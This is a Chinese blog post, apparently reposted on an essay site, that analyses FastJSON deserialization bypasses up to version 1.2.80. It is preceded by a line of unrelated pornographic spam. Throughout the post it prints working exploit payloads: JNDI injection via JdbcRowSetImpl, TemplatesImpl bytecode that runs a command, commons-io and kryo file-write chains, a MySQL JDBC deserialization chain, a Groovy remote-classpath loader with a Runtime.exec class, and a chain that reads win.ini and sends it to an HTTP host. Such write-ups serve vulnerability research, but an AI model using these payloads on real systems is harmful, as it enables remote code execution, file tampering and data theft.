最美情侣中文字幕电影,在线麻豆精品传媒,在线网站高清黄,久久黄色视频

歡迎光臨散文網(wǎng) 會員登陸 & 注冊

FastJSON(全系漏洞分析-截至20230325)

2023-03-30 11:11 作者:黑社長  | 我要投稿

前言

FastJSON也不是什么新奇玩意了,之前都是看別的師傅的分析文章,也沒有自己手動調(diào)試過,紙上學(xué)來終覺淺;這次決定自己手動調(diào)試一下,跟蹤一下各個利用鏈以及原理;

全文一共7407個字,建議慢慢看;

截至到目前,F(xiàn)astJSON>=1.2.83還未有新的漏洞,所以我的分析聚集在1.2.80及以下;

使用的POC來自:https://github.com/safe6Sec/ShiroAndFastJson

概述

FastJSON可以使用@type屬性將JSON字符串轉(zhuǎn)化為指定的類,例如

{
"@type":"com.zeanhike.User",
"name":"zhangsan",
"age":18
}//在JSON字符串中已指定@type屬性
JSON.parse(s1) //獲得User類型的對象
JSON.parseObject(s1) ?//獲得JSONObject類型的對象
JSON.parseObject(s1,Object.class) //獲得User類型的對象

當(dāng)JSON字符串轉(zhuǎn)換成對象時,如果setter方法滿足如下條件,會調(diào)用setter方法為對象的屬性賦值

  • 方法名長度大于4

  • 非靜態(tài)方法

  • 返回值為void或者當(dāng)前類

  • 以set開頭且第四個字母為大寫

  • 參數(shù)個數(shù)為1個

當(dāng)不滿足如上條件之一時,但是getter方法滿足如下條件時,會調(diào)用getter方法

  • 方法名長度大于4

  • 非靜態(tài)方法

  • 以get開頭且第四個字母為大寫

  • 無參數(shù)傳入

  • 返回值類型繼承自Collection Map AtomicBoolean AtomicInteger AtomicLong

  • 此屬性沒有setter方法

使用ASM動態(tài)生成一個專門的類為屬性賦值

Fastjson還有以下功能點:

  1. 如果目標(biāo)類中私有變量沒有setter方法,但是在反序列化時仍想給這個變量賦值,則需要使用Feature.SupportNonPublicField參數(shù)

  2. fastjson 在為類屬性尋找getter/setter方法時,調(diào)用函數(shù)com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()方法,會忽略_ -字符串

  3. fastjson 在反序列化時,如果Field類型為byte[],將會調(diào)用com.alibaba.fastjson.parser.JSONScanner#bytesValue進(jìn)行base64解碼,在序列化時也會進(jìn)行base64編碼

fastjson<=1.2.24

com.sun.rowset.JdbcRowSetImpl
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

com.sun.rowset.JdbcRowSetImpl

payload:

{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://127.0.0.1:1097/Object",
"autoCommit": true
}

先調(diào)用setDataSourceName為父類BaseRowSet的dataSource屬性賦值

然后調(diào)用setAutoCommit為autoCommit賦值

在賦值過程中,調(diào)用了connect方法

在connect方法中獲取dataSourceName屬性的值,進(jìn)行l(wèi)ookup,造成JNDI注入

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

payload:

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJAoAAwAPBwARBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAR0ZXN0AQAMSW5uZXJDbGFzc2VzAQAiTGNvbS9oZWxsby9kZW1vL2pzb24vSkRLN3UyMSR0ZXN0OwEAClNvdXJjZUZpbGUBAAxKREs3dTIxLmphdmEMAAQABQcAEwEAIGNvbS9oZWxsby9kZW1vL2pzb24vSkRLN3UyMSR0ZXN0AQAQamF2YS9sYW5nL09iamVjdAEAG2NvbS9oZWxsby9kZW1vL2pzb24vSkRLN3UyMQEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAXABgKABYAGQEABGNhbGMIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACEKACIADwAhAAIAIgAAAAAAAgABAAQABQABAAYAAAAvAAEAAQAAAAUqtwAjsQAAAAIABwAAAAYAAQAAACoACAAAAAwAAQAAAAUACQAMAAAACAAUAAUAAQAGAAAAFgACAAAAAAAKuAAaEhy2ACBXsQAAAAAAAgANAAAAAgAOAAsAAAAKAAEAAgAQAAoACQ=="],'_name':'exp','_tfactory':{ },"_outputProperties":{ }}

會先為TemplatesImpl對象的屬性進(jìn)行賦值,由于這些屬性都沒有setter方法,但是開啟了Feature.SupportNonPublicField特性,就可以成功賦值而不需要setter方法,由于_outputProperties這個屬性有g(shù)etter方法,且滿足之前說的特性,所以當(dāng)設(shè)置完所有屬性的值后,會調(diào)用它的getter方法,也就是getOutputProperties

跟進(jìn)newTransformer()

跟進(jìn)getTransletInstancew()

_name不為空且_class為空,才會進(jìn)入defineTransletClasses()

在defineTransletClasses()方法中,首先_tfactory屬性不能為空,否則會造成空指針異常,同時在后面將二維數(shù)組_bytecode屬性轉(zhuǎn)化為Class對象,同時存入一維數(shù)組_class屬性中,同時有一個細(xì)節(jié)就是我們構(gòu)造的惡意類父類要為com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,不然這個索引不會更新當(dāng)前位置

然后回到getTransletInstance()方法

這里根據(jù)_class屬性以及當(dāng)前索引獲取當(dāng)前Class對象,并拿到無參構(gòu)造器進(jìn)行實例化,可以將惡意代碼放在無參構(gòu)造函數(shù)或者靜態(tài)代碼塊中,這樣實例化時就會觸發(fā)命令執(zhí)行等操作從而RCE

1.2.25<=fastjson<=1.2.41

在1.2.25版本及以上,在ParserConfig中新增了黑白名單,同時存在一個autoTypeSupport屬性用來設(shè)置是否支持反序列化,同時多了個checkAutoType方法用來檢測非法操作;

在DefaultJSONParser中的parseObject方法中,調(diào)用了ParserConfig的checkAutoType進(jìn)行校驗并加載類

在ParserConfig的checkAutoType方法中傳入我們指定的類

這里會判斷autoTypeSupport屬性的值,所以我們看看默認(rèn)的autoTypeSupport屬性的值

由于在new一個ParserConfig時,會設(shè)置autoTypeSupport屬性還有denyList(黑名單)、acceptList(白名單)

而這里autoTypeSupport被賦值成AUTO_SUPPORT

而AUTO_SUPPORT在類實例化時,默認(rèn)為false

這里會到checkAutoType方法

傳遞的兩個參數(shù),第一個為反序列化的類,第二個為null

然后進(jìn)行如下操作:

  1. autoTypeSupport為false,從緩存中找是否有該類的Class,找不到再從Map中找到該類的ObjectDeserializer

  2. 然后進(jìn)行黑白名單匹配

  3. 最后拋出JSONException異常,autoType is not support.~

若是autoTypeSupport屬性為true,進(jìn)行如下操作:

  1. 進(jìn)行黑白名單匹配

  2. 從緩存中找是否有該類的Class,找不到再從Map中找到該類的ObjectDeserializer

  3. 然后調(diào)用TypeUtils.loadClass(typeName, this.defaultClassLoader);加載這個類

這里進(jìn)入TypeUtils.loadClass(typeName, this.defaultClassLoader)

這里如果className是以[開頭或者L開頭;結(jié)尾,就會截取中間部分,去除這些符號

所以這里可以繞過黑白名單限制,當(dāng)設(shè)置了autoTypeSupport屬性為true時,我們可以往@type指定的類前面加[或者L開頭;結(jié)尾進(jìn)行黑白名單繞過

fastjson=1.2.42

1.2.42版本將黑名單變成hashcode

而在checkAutoType中

會對L開頭;結(jié)尾的className先進(jìn)行去除,然后在使用TypeUtils.loadClass(typeName, this.defaultClassLoader)加載類

這里雙寫L和;即可繞過

fastjson=1.2.43

同樣在checkAutoType中,判斷前兩個字符不能為L,否則拋異常,可以使用[繞過

payload比較特別:

{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[,
{"dataSourceName":"rmi://127.0.0.1:1097/Object",
"autoCommit":true
}
@type后緊跟[代表數(shù)組,以{開頭表示數(shù)組中的一個元素,多少個{表示數(shù)組有多少個元素,例如:
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[,
{"dataSourceName":"rmi://127.0.0.1:1097/Object",
"autoCommit":true,{xxx,{xxx
}

1.2.44<=fastjson<=1.2.45

在1.2.44中修改[符號產(chǎn)生的繞過

不過依然可以使用黑名單不存在的類進(jìn)行繞過

{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"ldap://127.0.0.1:23457/Command8"
}
}

這個需要依賴mybatis框架

<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.5.11</version>
</dependency>

fastjson<=1.2.47

可以在不開啟autoTypeSupport且繞過黑白名單的情況下進(jìn)行RCE,在checkAutoType方法中,若沒有開啟autoTypeSupport則會走到這里

從兩個地方取,如果取的到就返回

這里可以通過往TypeUtils的緩存中存入我們的類

而在TypeUtils中的loadClass可以存入緩存,而在MiscCodec的deserialze中會調(diào)用TypeUtils中的loadClass進(jìn)行類加載并存入緩存

這里重點是strVal,strVal是我們存入的緩存類,然后往上翻

strVal來源于objVal,objVal來源于parser.parse,同時這里有個細(xì)節(jié)就是lexer.stringVal解析到的JSON鍵必須為val不然會拋出錯誤,然后parser.parse就是拿到JSON的值,所以可以指定鍵為val,值為com.sun.rowset.JdbcRowSetImpl,這樣就會將com.sun.rowset.JdbcRowSetImpl加入緩存中

所以什么時候會調(diào)用MiscCodec的deserialze方法呢?

在DefaultJSONParser的parseObject會調(diào)用

這里根據(jù)clazz從ParserConfig中取deserializer

ParserConfig中有一個deserializers屬性,專門用來存deserializer

在ParserConfig的initDeserializers會初始化這個屬性,往里面存一些Class和對應(yīng)的deserializer

這里會存入MiscCodec,它對應(yīng)Class類型

所以回到DefaultJSONParser的parseObject中

當(dāng)clazz為Class時,會獲取Class對應(yīng)的deserializer,也就是MiscCodec,調(diào)用它的deserialize方法,這個clazz可以通過@type進(jìn)行設(shè)定

最后的payload如下

{
{
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://127.0.0.1:1097/Object",
"autoCommit": true
}
}

這里傳遞的JSON字符串存在兩個對象,第一個對象用來將指定類存入緩存中,第二個對象用來觸發(fā)JNDI注入

1.2.48<=fastjson<=1.2.68

在MiscCodec的deserialze中將cache設(shè)置成false,不允許存入緩存

但是也產(chǎn)生了新型繞過

在ParserConfig的checkAutoType中,利用expectClass繞過

這里看看

首先expectClass不能為null,且不能等于Object、Serializable、Cloneable、Closeable、EventListener、Iterable、Collection,才會將expectClassFlag設(shè)置成true

其次,在未開啟autoTypeSupport的情況下,會匹配黑白名單,所以不能跟黑名單里的類相同

expectClassFlag為true后,會根據(jù)typeName使用TypeUtils的loadClass去加載類,后面若clazz是expectClass的子類就放入huan'c返回

也就是說這里typeName要為expectClass的子類,才能繞過checkAutoType的檢測,同時繞過autoTypeSupport的限制

而只有兩處地方,會調(diào)用checkAutoType且傳遞expectClass參數(shù)

一個在ThrowableDeserializer的deserialize中

另一個在JavaBeanDeserializer的deserialize中

先看ThrowableDeserializer的deserialize,在checkAutoType調(diào)用完后并返回class后

在下面會直接創(chuàng)建實例

而在JavaBeanDeserializer的deserialize中

調(diào)用完checkAutoType得到userType后,會獲取userType對應(yīng)的deserializer,然后調(diào)用deserialize方法,觸發(fā)userType的反序列化,執(zhí)行setter或getter方法

網(wǎng)上公開的poc:

這個使用了JavaBeanDeserializer那條鏈,但是我在jdk8下復(fù)現(xiàn)失敗

這是因為fastjson在通過帶參構(gòu)造函數(shù)進(jìn)行反序列化時,會檢查參數(shù)是否有參數(shù)名信息,只有含有參數(shù)名信息的帶參構(gòu)造函數(shù)才會被認(rèn)可

而我用的Windows下,Oracle JDK8的MarshalOutputStream類,不含有LocalVariableTable

由于大部分 JDK/JRE 環(huán)境的類字節(jié)碼里都不含有 LocalVariableTable,而很多第三方庫里的字節(jié)碼是有 LocalVariableTable 的。

淺藍(lán)發(fā)的1.2.68利用第三方gadget寫文件

{
"stream": {
"@type": "java.lang.AutoCloseable",
"@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
"targetPath": "d:/test/pwn.txt",
"tempPath": "d:/test/test.txt"
},
"writer": {
"@type": "java.lang.AutoCloseable",
"@type": "com.esotericsoftware.kryo.io.Output",
"buffer": "YjF1M3I=",
"outputStream": {
"$ref": "$.stream"
},
"position": 5
},
"close": {
"@type": "java.lang.AutoCloseable",
"@type": "com.sleepycat.bind.serial.SerialOutput",
"out": {
"$ref": "$.writer"
}
}
}

依賴的jar包有點多

<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjtools</artifactId>
<version>1.9.5</version>
</dependency>
<dependency>
<groupId>com.esotericsoftware</groupId>
<artifactId>kryo</artifactId>
<version>4.0.0</version>
</dependency>
<dependency>
<groupId>com.sleepycat</groupId>
<artifactId>je</artifactId>
<version>5.0.73</version>
</dependency>

這里有個細(xì)節(jié),就是在一些屬性下使用了$ref,例如outputStream屬性下,鍵$ref,值為$.stream,代表為outputStream屬性賦值為stream對象;

首先調(diào)用SafeFileOutputStream的帶參構(gòu)造函數(shù),然后調(diào)用Output的無參構(gòu)造函數(shù),使用setter為屬性賦值,最后調(diào)用SerialOutput的構(gòu)造函數(shù)

這里的out為Output,進(jìn)入super中

包裝out成BlockDataOutputStream,然后調(diào)用setBlockDataMode

然后調(diào)用drain

進(jìn)行數(shù)據(jù)寫入

繼續(xù)傳遞

寫完數(shù)據(jù)調(diào)用require方法

進(jìn)入this.flush()

調(diào)用SafeFileOutputStream進(jìn)行寫,此時才是真正寫到文件,寫完調(diào)用flush關(guān)閉

MarshalOutputStream進(jìn)行文件讀寫跟這個調(diào)用鏈差不多

使用commons-io庫

這也是使用了JavaBeanDeserializer那條鏈


{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa"
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer": {
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file": "/tmp/pwned",
"encoding": "UTF-8",
"append": false
},
"charsetName": "UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"closeBranch":true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}

層層包裝,使用TeeInputStream作為連接輸入流和輸出流的橋梁

大致過程就是:

  1. XmlStreamReader的構(gòu)造函數(shù)觸發(fā)read,然后用TeeInputStream進(jìn)行read,TeeInputStream又用ReaderInputStream進(jìn)行read,ReaderInputStream又用CharSequenceReader從字符序列中進(jìn)行read

  2. 在TeeInputStream中的read方法中,read完之后會調(diào)用write進(jìn)行寫入,也就是調(diào)用WriterOutputStream進(jìn)行write,WriterOutputStream又用FileWriterWithEncoding進(jìn)行write

流程圖如下:

循環(huán)讀取

從字節(jié)序列中取,然后返回

返回到TeeInputStream的read方法中,然后進(jìn)行write

然后進(jìn)行文件寫入

這里面有兩個個細(xì)節(jié):

  1. "charSequence":{"@type":"java.lang.String""aaaaaa"}對于這種畸形JSON,仍然能解析

  2. 執(zhí)行該POC后雖然文件能創(chuàng)建但是無法寫入

因為我懶,直接貼原作者的圖進(jìn)行解釋

原文鏈接Fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 寫文件利用鏈挖掘分析(以下部分為引用)


當(dāng)要寫入的字符串長度不夠時,輸出的內(nèi)容會被保留在 ByteBuffer 中,不會被實際輸出到文件里

sun.nio.cs.StreamEncoder#implWrite

問題搞清楚了,我們需要寫入足夠長的字符串才會讓它刷新 buffer,寫入字節(jié)到輸出流對應(yīng)的文件里。那么很自然地想到,在 charSequence 處構(gòu)造超長字符串是不是就可以了?

可惜并非如此,原因是 InputStream buffer 的長度大小在這里已經(jīng)是固定的 4096 了:

也就是說每次讀取或者寫入的字節(jié)數(shù)最多也就是 4096,但 Writer buffer 大小默認(rèn)是 8192:

因此僅僅一次寫入在沒有手動執(zhí)行 flush 的情況下是無法觸發(fā)實際的字節(jié)寫入的。


可以使用$ref引用同一個對象進(jìn)行循環(huán)寫入

{
"x":{
"@type":"com.alibaba.fastjson.JSONObject",
"input":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa...(長度要大于8192,實際寫入前8192個字符)"
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"D:/tmp/pwned",
"encoding":"UTF-8",
"append": false
},
"charsetName":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger2":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger3":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
}
}

XmlStreamReader在構(gòu)造器方法會觸發(fā)doRawStream()方法,在doRawStream()方法中觸發(fā)getBOMCharsetName(),在getBOMCharsetName()中觸發(fā)getBOM(),getBOM()觸發(fā)TeeInputStream的read()方法,此時TeeInputStream為同一個對象(因為引用了上一個對象),就可以達(dá)循環(huán)讀寫。

該思路引導(dǎo)了很多人使用該庫進(jìn)行其他方式的利用

{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.BOMInputStream",
"delegate":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"@type": "org.apache.commons.codec.binary.Base64InputStream",
"in":{
"@type":"org.apache.commons.io.input.CharSequenceInputStream",
"charset":"utf-8",
"bufferSize": 1024,
"s":{"@type":"java.lang.String""input your content"
},
"doEncode":false,
"lineLength":1024,
"lineSeparator":"5ZWKCg==",
"decodingPolicy":0
},
"branch":{
"@type":"org.eclipse.core.internal.localstore.SafeFileOutputStream",
"targetPath":"./1.txt"
},
"closeBranch":true
},
"include":true,
"boms":[{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes":"input your bytes" ? ? ? ? ? ?
}],
"x":{
"$ref":"$.bom"
}
}

這個很巧妙使用了$ref,$.bom獲取根對象的bom屬性,根對象為BOMInputStream

這可以循環(huán)調(diào)用,例如:

獲取班級下的學(xué)生的姓名
new Classes().getStudent().getName()
假設(shè)根對象為班級,對應(yīng)JSONPath為
$.student.name

JSONPath會進(jìn)行分段,段有很多類型

這里對應(yīng)的是屬性段PropertySegment,將$.student.name分成兩個PropertySegment對象,一個是代表student屬性的PropertySegment對象,第二個是代表name屬性的PropertySegment對象;然后會遍歷每個段調(diào)用eval方法

獲取屬性值,會調(diào)用該屬性的getter方法

所以$.bom會調(diào)用getBOM()方法觸發(fā)利用鏈進(jìn)行讀取

還有使用Mysql進(jìn)行SSRF和反序列化漏洞攻擊的

使用mysql-connector-java庫

SSRF沒太大用,這里不說,利用反序列化漏洞可以RCE,但是需要依賴對應(yīng)java應(yīng)用程序需要有相關(guān)的鏈

Mysql JDBC反序列化攻擊

當(dāng)我們控制了連接數(shù)據(jù)庫的字符串時,我們可以偽造一個數(shù)據(jù)庫,將需要反序列化的惡意對象存儲在BLOB類型的字段中,當(dāng)客戶端獲取該BLOB類型的數(shù)據(jù)時會自動反序列化造成RCE

github上有fake mysql server配合該poc進(jìn)行RCE

//<=1.2.68 and mysql 8.0.19可反序列化 >8.0.19可SSRF
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
"proxy": {
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
"connectionUrl": {
"@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
"masters": [{
"host": ""
}],
"slaves": [],
"properties": {
"host": "127.0.0.1",
"user": "yso_CommonsCollections4_calc",
"dbname": "dbname",
"password": "pass",
"queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true"
}
}
}
}

類似的還有PostgreSQL JDBC RCE

SafeMode

在1.2.68存在safemode

默認(rèn)為關(guān)閉,只要開啟會直接拋出異常,不解析@type指定的JSON字符串

1.2.80<=fastjson<=1.2.69

在1.2.69中

在ParserConfig的checkAutoType中,若expectClass為AutoCloseable,則設(shè)置expectClassFlag為false,導(dǎo)致AutoCloseable為首的利用鏈都無法使用

加的這三個expectHash為java.lang.Runnable、java.lang.Readable和java.lang.AutoCloseable

雖然JavaBeanDeserializer這條路走不通,但是仍然可以走ThrowableDeserializer這條路

使用groovy庫

這個適用于1.2.76~1.2.80,為啥1.2.76以下不適用呢?后面會說

網(wǎng)上的payload是:

//兩次parse
{
"@type":"java.lang.Exception",
"@type":"org.codehaus.groovy.control.CompilationFailedException",
"unit":{}
}
{
"@type":"org.codehaus.groovy.control.ProcessingUnit",
"@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
"config":{
"@type":"org.codehaus.groovy.control.CompilerConfiguration",
"classpathList":"http://127.0.0.1:8080/"
}
}

之前說過為Exception的子類可以繞過checkAutoType(),然后調(diào)用createException()創(chuàng)建實例

ThrowableDeserializer.deserialize()

繞過checkAutoType(),并設(shè)置exClass為CompilationFailedException

但是重點在CompilationFailedException的unit屬性中,在第二次掃描符號時,掃描到unit屬性

然后將key和parser.parser()放進(jìn)otherValues,key為unit,parser.parse()解析JSON字符串的unit屬性的值,指定為空,所以這里為空

但是由于CompilationFailedException的構(gòu)造函數(shù)不符合條件,所以無法創(chuàng)建實例,ex為null,只能創(chuàng)建Exception()實例并賦值給ex

otherValues不為null,獲取unit屬性的deserializer,判斷unit的Class不是value的實例的話,調(diào)用TypeUtils.cast()方法,然后傳遞unit屬性的類型,unit屬性為ProcessingUnit類

cast又調(diào)用cast,套娃

cast方法里又調(diào)用castToJavaBean

在castToJavaBean方法里,調(diào)用getDeserializer獲取ProcessingUnit類的deserializer

然后調(diào)用getDeserializer的重載,套娃

然后在getDeserializer方法的重載里,創(chuàng)建了ProcessingUnit類型的deserializer,然后調(diào)用putDeserializer

在putDeserializer方法里,將ProcessingUnit類型的deserializer放進(jìn)了ParserConfig的deserializers屬性中,這是后面繞過checkAutoType()的關(guān)鍵

然后一路返回deserializer

不符合條件創(chuàng)建實例失敗,返回null

然后setValue

第一次POC觸發(fā),將ProcessingUnit類型的deserializer放進(jìn)了ParserConfig的deserializers中

在第二次POC觸發(fā)中,

檢測@type屬性的類時,調(diào)用checkAutoType方法

由于已將ProcessingUnit類的deserializer放進(jìn)了緩存中,所以這里可以找到clazz,繞過了checkAutoType的限制

同時第二次使用了JavaBeanDeserializer那條鏈,在對JavaStubCompilationUnit進(jìn)行checkAutoType時,因為傳入了expectClass,所以過了checkAutoType的檢測

后面創(chuàng)建JavaStubCompilationUnit類的deserializer,然后它的調(diào)用deserialze方法,后面反射調(diào)用JavaStubCompilationUnit類的構(gòu)造器創(chuàng)建實例

將JSON字符串中classpathList屬性的值(http://127.0.0.1:8080/)添加到classpath

繼承關(guān)系:

在CompilationUnit的構(gòu)造函數(shù)中super調(diào)用完后,會調(diào)用ASTTransformationVisitor.addPhaseOperations(this)

然后調(diào)用addGlobalTransforms

然后調(diào)用doAddGlobalTransforms

獲取META-INF/services/org.codehaus.groovy.transform.ASTTransformation文件中的內(nèi)容,META-INF/services/org.codehaus.groovy.transform.ASTTransformation該文件的內(nèi)容就是我們要執(zhí)行的惡意類的類名

然后調(diào)用addPhaseOperationsForGlobalTransforms(),transformNames中存儲了我們的惡意類

在addPhaseOperationsForGlobalTransforms方法中,進(jìn)行加載類,并實例化我們的惡意類,這個惡意類要為ASTTransformation的子類

我的惡意類:

package org.example.groovy;

import org.codehaus.groovy.ast.ASTNode;
import org.codehaus.groovy.control.CompilePhase;
import org.codehaus.groovy.control.SourceUnit;
import org.codehaus.groovy.transform.ASTTransformation;
import org.codehaus.groovy.transform.GroovyASTTransformation;

import java.io.IOException;

@GroovyASTTransformation(phase= CompilePhase.CONVERSION)
public class AK implements ASTTransformation {


public AK() {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
throw new RuntimeException(e);
}
}

@Override
public void visit(ASTNode[] astNodes, SourceUnit sourceUnit) {

}
}

總結(jié)

第一次使用ThrowableDeserializer那條鏈,將Exception作為expectClass繞過checkAutoType,成功加載CompilationFailedException,然后在獲取屬性unit(ProcessingUnit類)的deserializer放入緩存

第二次使用JavaBeanDeserializer那條鏈,由于ProcessingUnit的deserializer已放入緩存,所以繞過了checkAutoType,然后調(diào)用JavaStubCompilationUnit的構(gòu)造函數(shù)觸發(fā)后續(xù)操作

而最最關(guān)鍵的TypeUtils.cast(value, fieldInfo.fieldType, parser.getConfig())方法是用來將deserializer放入緩存的,沒有它就不會有第二步操作

而一開始說的為啥1.2.76以下不適用呢?因為在1.2.76版本下沒有cast調(diào)用

這是1.2.76版本下的:

對比1.2.76~80:

文件讀取

使用aspectJ庫

利用aspectJ進(jìn)行文件讀取,一種是錯誤回顯,另一種是dnslog(不成功)

雖然只依賴一個庫,但是會由于各種限制,并不會直接將錯誤結(jié)果返回到前臺

所以這個略過

使用aspectjtools庫、ognl庫以及commons-io庫

依賴三個jar包

<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjtools</artifactId>
<version>1.9.5</version>
</dependency>
<dependency>
<groupId>ognl</groupId>
<artifactId>ognl</artifactId>
<version>3.2.21</version>
</dependency>
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.2</version>
</dependency>

這個將文件讀取的結(jié)果進(jìn)行http外帶

poc1:

[{
"@type": "java.lang.Exception",
"@type": "org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException"
},
{
"@type": "java.lang.Class",
"val": {
"@type": "java.lang.String" {
"@type": "java.util.Locale",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException",
"newAnnotationProcessorUnits": [{}]
}
}
},
{
"x": {
"@type": "org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
"@type": "org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName": "aaa"
}
}]

poc2:

{
"su14": {
"@type": "java.lang.Exception",
"@type": "ognl.OgnlException"
},
"su15": {
"@type": "java.lang.Class",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "ognl.OgnlException",
"_evaluation": ""
}
},
"su16": {
"@type": "ognl.Evaluation",
"node": {
"@type": "ognl.ASTMethod",
"p": {
"@type": "ognl.OgnlParser",
"stream": {
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": {
"@type": "java.lang.String" {
"@type": "java.util.Locale",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "java.util.Locale",
"language": "http://127.0.0.1:8080/?test",
"country": {
"@type": "java.lang.String" [{
"@type": "org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName": "C:/Windows/win.ini"
}]

}
}
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [
36
]
}]
}
}
}
},
"su17": {
"$ref": "$.su16.node.p.stream"
},
"su18": {
"$ref": "$.su17.bOM.bytes"
}
}

一步步來看,首先是這個:

[{
"@type": "java.lang.Exception",
"@type": "org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException"
}

利用expectClass繞過checkAutoType檢測,并將SourceTypeCollisionException類進(jìn)行緩存,以便繞過對SourceTypeCollisionException類的checkAutoType的檢測

{
"@type": "java.lang.Class",
"val": {
"@type": "java.lang.String" {
"@type": "java.util.Locale",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.lang.String"
"@type": "org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException",
"newAnnotationProcessorUnits": [{}]
}
}
},

這一步會調(diào)用ParserConfig.getDeserializer為newAnnotationProcessorUnits所在的類ICompilationUnit創(chuàng)建deserializer并放入緩存,以便繞過對ICompilationUnit類的checkAutoType的檢測

{
"x": {
"@type": "org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
"@type": "org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName": "aaa"
}
}]

